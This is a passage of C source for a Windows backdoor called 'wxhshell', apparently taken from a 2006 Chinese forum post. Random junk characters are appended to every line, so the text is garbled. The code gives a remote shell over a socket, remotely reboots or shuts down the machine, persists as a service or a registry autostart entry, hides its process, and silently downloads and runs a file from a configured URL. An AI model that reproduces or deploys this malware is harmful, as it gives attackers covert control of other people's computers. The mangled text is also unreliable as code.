  // 安装 {|wTZ  
  case 'i': { \,#4+&4b  
    if(Install()) -Aym+N9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8JO\%DFJ  
    else G.E~&{5xQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hf]}OvT>Z  
    break; AA%g^PWpR  
    } LYT<o FE-  
  // 卸载 xcRrI|?eC  
  case 'r': { Jz8#88cY  
    if(Uninstall()) j\L$dPZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t:@A)ip  
    else  >33b@)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LUVJ218p  
    break; { rJF)\2  
    } pC.P  
  // 显示 wxhshell 所在路径 O*Pe [T5x'  
  case 'p': { R/FV'qy]  
    char svExeFile[MAX_PATH]; Ytnr$*5.  
    strcpy(svExeFile,"\n\r"); Us~wv"L=UX  
      strcat(svExeFile,ExeFile); QS?9&+JM|  
        send(wsh,svExeFile,strlen(svExeFile),0); mb6?$1j  
    break; [goPmVe+  
    } #"YWz)8  
  // 重启 -ddatc|  
  case 'b': { _~&v s<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); en6AAr:U}  
    if(Boot(REBOOT)) {ZI6!zh'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NbMH@6%E  
    else { %.gjBI=  
    closesocket(wsh); 7n/I'r  
    ExitThread(0); g#nsA(_L  
    } JM9Q]#'t  
    break; -@?>nLQb  
    } bN %MT#X  
  // 关机 ) G&3V  
  case 'd': { UdgI<a~`k6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Uy'ZL(2  
    if(Boot(SHUTDOWN)) " yl"A4p S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `X03Q[:q"[  
    else { uXa}<=O  
    closesocket(wsh); R,Uy3N  
    ExitThread(0); @!HMd{r  
    } w|*G`~l09  
    break; T<,tC"  
    } z9c=e46O  
  // 获取shell *"L:"i`*$  
  case 's': { F9%VyQf  
    CmdShell(wsh); g[)hm`{?  
    closesocket(wsh); 5W '|qmJ  
    ExitThread(0); WZ-{K"56  
    break; Ybiz]1d  
  } A^7Zy79  
  // 退出 Ev ,8?  
  case 'x': { 9e*poG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z]_CFo1'l  
    CloseIt(wsh); MNE)<vw>  
    break; jl29~^@}1i  
    } D)$k{v#~  
  // 离开 wpMQ 7:j  
  case 'q': { Lh$ac-Ct  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;] o^u.PC  
    closesocket(wsh); j`hbQp\`  
    WSACleanup(); 3ZZI1_j  
    exit(1); KywT Oq  
    break; NT:>.~ah@&  
        } JH,bSb  
  } 9jBr868  
  } /'+JP4mK  
5WG@ ;K%  
  // 提示信息 4tKf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AMfu|%ZL  
} hzVO.Q*  
  } QNBzc {XB  
%?wE/LU>  
  return; EU~'n-  
} 2Rt ZTn  
@3D%i#2o&[  
// shell模块句柄 zOp"n\  
int CmdShell(SOCKET sock) S(xA}0]  
{ i<![i5uAI  
STARTUPINFO si; @isqFKjph  
ZeroMemory(&si,sizeof(si)); JYU Ks~Qt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *xKR;?.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t":>O0>cz  
PROCESS_INFORMATION ProcessInfo; +}'K6x_  
char cmdline[]="cmd"; "FD~XSRL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CtxK{:  
  return 0; j KK48S  
} ^jC0S[csw2  
(P_+m#  
// 自身启动模式 AIo;\35  
int StartFromService(void) |%9~W^b  
{ [a6lE"yr  
typedef struct 3F3?be  
{ >0$5H]1u  
  DWORD ExitStatus; >H! 2Wflm  
  DWORD PebBaseAddress; bsVOO9.4-  
  DWORD AffinityMask; L2tmo-]nw  
  DWORD BasePriority; %QkvBg*  
  ULONG UniqueProcessId; ?os0JQVB  
  ULONG InheritedFromUniqueProcessId; =^}2 /vA  
}   PROCESS_BASIC_INFORMATION; u^9,u/gj  
81g0oVv  
PROCNTQSIP NtQueryInformationProcess; vsR&1hs  
{)xrg sB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }=)"uv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 93,ExgFt  
,+{ 43;a  
  HANDLE             hProcess; N/p_6GYMa  
  PROCESS_BASIC_INFORMATION pbi; v<**GW]neD  
xbIA97g-O,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5$w1[}UUd  
  if(NULL == hInst ) return 0; _E7eJSM.  
@n3PCH6:Ao  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }%|OnEk"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <9vkiEo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IS~oyFS  
^.7xu/T  
  if (!NtQueryInformationProcess) return 0; u[@*}|uXM  
%*hBrjbj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B dUyI_Ks:  
  if(!hProcess) return 0; z@}~2K  
X*&r/=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `^x^= og'  
Bf'(JJ7&N  
  CloseHandle(hProcess); /xnhHwJm  
P nDZi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Do89  
if(hProcess==NULL) return 0; C2T,1=  
)c_ll;%  
HMODULE hMod; _\zf XHp  
char procName[255]; \/%mabLK  
unsigned long cbNeeded; 9:>vl0  
yo=d"*E4^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yDrJn* r^  
2 r)c?  
  CloseHandle(hProcess); 3]Mx,u  
k5/}S@F8  
if(strstr(procName,"services")) return 1; // 以服务启动 t!$/r]XM h  
:yeTzIz]  
  return 0; // 注册表启动 "k/x+%!Spc  
} nNr3'6lz  
BH1To&ol  
// 主模块 aJ ts  
int StartWxhshell(LPSTR lpCmdLine) >#Y q&@G  
{ Bf.RYLsh6  
  SOCKET wsl;  Qy%/+9L  
BOOL val=TRUE; :A[/;|&  
  int port=0; H#:Yw|t  
  struct sockaddr_in door; 70Am]L&M  
9v A`\\9  
  if(wscfg.ws_autoins) Install(); 4+0Zj+ q";  
62q-7nV  
port=atoi(lpCmdLine); }9JPSl28Jr  
}HzZj;O^2>  
if(port<=0) port=wscfg.ws_port; a &j?"o  
'AoH2 |  
  WSADATA data; >=(e}~5y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~kga+H  
= zSrre  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ra5cfkH;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WF]:?WE%  
  door.sin_family = AF_INET; hG U &C]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ),_bDI L+  
  door.sin_port = htons(port); T/ov0l_  
f$/D?q3N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,o`qB81  
closesocket(wsl); RL%{VE  
return 1; POf \l  
} RDbA"e5x  
Z'~5L_.]Ai  
  if(listen(wsl,2) == INVALID_SOCKET) { &*}S 0  
closesocket(wsl); pfG:P rZ  
return 1; d$ /o\G  
} 0WFZx Ad"  
  Wxhshell(wsl); d0,I] "  
  WSACleanup(); "v06F j>q  
)]}*oO  
return 0; BsAglem  
6m]L{ buP  
} J';tpr  
>Y:ouN~<  
// 以NT服务方式启动 Qj~0vx!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pGC`HTo|  
{ = 2k+/0ZbP  
DWORD   status = 0; *VpQ("  
  DWORD   specificError = 0xfffffff; X*sF-T$.  
W*)>Tr)o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]lo O5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; er_aol e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )\e_I\-  
  serviceStatus.dwWin32ExitCode     = 0; 9/{g%40B^  
  serviceStatus.dwServiceSpecificExitCode = 0; O =fT;&%.  
  serviceStatus.dwCheckPoint       = 0; .'4*'i:  
  serviceStatus.dwWaitHint       = 0; TF'ssD  
tnsYY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &sW/r::,  
  if (hServiceStatusHandle==0) return; v-kH7H"z  
~ M"[FYw[  
status = GetLastError(); 2a G<^3  
  if (status!=NO_ERROR) P>H'od  
{ Av'H(qB\K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zqao4  
    serviceStatus.dwCheckPoint       = 0; ecb[m2z  
    serviceStatus.dwWaitHint       = 0; ,W#y7 t  
    serviceStatus.dwWin32ExitCode     = status; /xmd]XM=_  
    serviceStatus.dwServiceSpecificExitCode = specificError; %l,Xt"nS#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6l=n&YO  
    return; {Hb _o)S  
  } DN!EsQ6  
T]:5y_4?[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PU8R 0r2k\  
  serviceStatus.dwCheckPoint       = 0; k";;Snk  
  serviceStatus.dwWaitHint       = 0; dO=<3W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S SzOz-&GA  
} $R^"~|m3M  
h1BdASn_  
// 处理NT服务事件,比如:启动、停止 H=dj\Br`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z d%*,\`S  
{ NzEuiI}  
switch(fdwControl) UkdQ#b1  
{ [~J4:yDd=  
case SERVICE_CONTROL_STOP: N9i>81tY  
  serviceStatus.dwWin32ExitCode = 0; :( `Q4D~l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .{Xi&[jw  
  serviceStatus.dwCheckPoint   = 0; i,~{{XS<  
  serviceStatus.dwWaitHint     = 0; (<f[$ |%  
  { t+&WsCN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !:>y.^O  
  } kqy Y:J  
  return; Jlzhn#5c-  
case SERVICE_CONTROL_PAUSE: }/=VnCfU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NZl0sX.:  
  break; q3;HfZ  
case SERVICE_CONTROL_CONTINUE: V7&L+]!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G~_dSa@g G  
  break; u^`B#b '  
case SERVICE_CONTROL_INTERROGATE: JeO(sj$e  
  break; ]@'YlPU  
}; ";jhj:Xj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7~IAgjo,@  
} rR7}SEa  
m1(rAr1  
// 标准应用程序主函数 dkXK0k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s^ 6S{XJ  
{ +>s[w{Svy  
F`3I~(  
// 获取操作系统版本 rUj]6j=e  
OsIsNt=GetOsVer(); y :457R2F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L:S[QwQu8  
<5nz:B/  
  // 从命令行安装 O=yUA AD$  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ly^r8I  
0iwx$u 7[  
  // 下载执行文件 X&K1>dgWP  
if(wscfg.ws_downexe) { $FD0MrB_+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N[AX29  
  WinExec(wscfg.ws_filenam,SW_HIDE); J3K!@m_\  
} 1(m8 9C[  
<%|2yPb]  
if(!OsIsNt) { /N~.,vf  
// 如果时win9x,隐藏进程并且设置为注册表启动 c(@)V.o2  
HideProc(); W# ev  
StartWxhshell(lpCmdLine); r;9F@/  
} h'wI/Z_'  
else %POoyH@D}  
  if(StartFromService()) t,&1~_9  
  // 以服务方式启动 x ;kW }U  
  StartServiceCtrlDispatcher(DispatchTable); O7E0{8  
else { c]y<q  
  // 普通方式启动 H1N%uk=kV  
  StartWxhshell(lpCmdLine); rR/PnVup  
>R :Bkf-  
return 0; O[$ &]>x]]  
}
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只看该作者 1 发表于: 2006-10-10
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